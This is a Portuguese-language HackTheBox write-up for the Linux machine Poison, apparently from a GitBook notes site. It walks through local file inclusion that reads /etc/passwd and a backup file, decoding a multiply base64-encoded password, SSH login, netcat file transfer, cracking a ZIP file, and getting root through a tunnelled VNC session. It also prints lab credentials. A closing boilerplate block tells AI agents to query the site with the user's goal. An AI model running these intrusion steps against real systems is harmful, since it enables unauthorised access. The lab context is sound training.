> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md). # Relato do Poison HackTheBox Relato do Poison HackTheBox para máquina Linux de dificuldade média, cobrindo inclusão local de arquivo (LFI), quebra de arquivo ZIP, abuso de VNC - vncviewer (escalada de privilégio), com enumeração prática, exploração, base inicial {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Local File Inclusion (LFI) * Quebrando arquivo ZIP * Abusando do VNC - vncviewer (Escalada de Privilégios) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.
**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.
**Descoberta de Portas Abertas com Nmap:** ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.84 -oG allPorts ```
**Varredura de versão das portas com Nmap (22, 80):** Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p22,80 10.10.10.84 -oN targeted ```
## Porta 80 - FreeBSD {% hint style="info" %} FreeBSD é um popular sistema operacional livre de código aberto baseado na versão BSD do sistema operacional Unix. O FreeBSD tem a reputação de ser rápido, estável e particularmente adequado para operar como servidor de Internet ou servidor de arquivos. {% endhint %}
### **Exploração de LFI** Identificamos um parâmetro vulnerável: ``` ?file=FILE ```
Isso nos permite ler qualquer arquivo disponível no sistema. Remotamente `pwnbackup.txt`, encontramos uma string indicando uma senha criptografada **13 vezes em base64**: ``` Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo= ```
Descriptografia com `echo`: {% code overflow="wrap" %} ```bash echo "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d; echo ``` {% endcode %} A senha revelada é: * `Charix!2#4%6&8(0` ### **Busca de usuário do sistema** Listamos `/etc/passwd` via LFI e encontramos o usuário **charix**.
Conexão SSH com as credenciais encontradas: ```bash ssh charix@10.10.10.84 ```
### Flag user.txt :) Bandeira `user.txt` recuperada
## **Escalada de Privilégios** Encontramos um arquivo **secret.zip**. #### **Transferência de Arquivo com Netcat** Na nossa máquina: ```bash nc -nvlp 443 > secret.zip cat secret.zip | nc 10.10.14.50 443 ``` O arquivo está protegido por senha.
### **Quebra da senha do ZIP** **Extraia o hash com `zip2john`**: Então vamos usar zip2john para extrair o hash ```bash zip2john secret.zip > hash ``` **Rastreamento de senha com `john`**: ```bash john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash ``` **Resultado**: Não encontrado
Testamos a reutilização da senha descoberta anteriormente:
/*Sucesso! /*/\* `secret` o arquivo contém caracteres estranhos, sugerindo uma chave de acesso ### Exploração 5800,5801,5900,5901 - VNC Identificamos portas em escuta: ```bash netstat -an | grep LISTEN ```
#### **Túnel SSH para encaminhar portas VNC** ```bash ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84 ```
Varredura do serviço VNC : ```bash nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1 nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1 ```
#### **Login via vncviewer** Usamos a senha encontrada em `secret.zip`: ```bash vncviewer -passwd secret 127.0.0.1:5901 ``` Obtemos um **acesso root** na máquina!
### Flag root.txt
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.